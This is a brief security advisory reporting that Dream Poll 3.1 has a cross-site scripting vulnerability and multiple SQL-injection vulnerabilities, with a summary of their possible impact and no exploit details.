Dream Poll is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dream Poll 3.1 is vulnerable; other versions may also be affected.
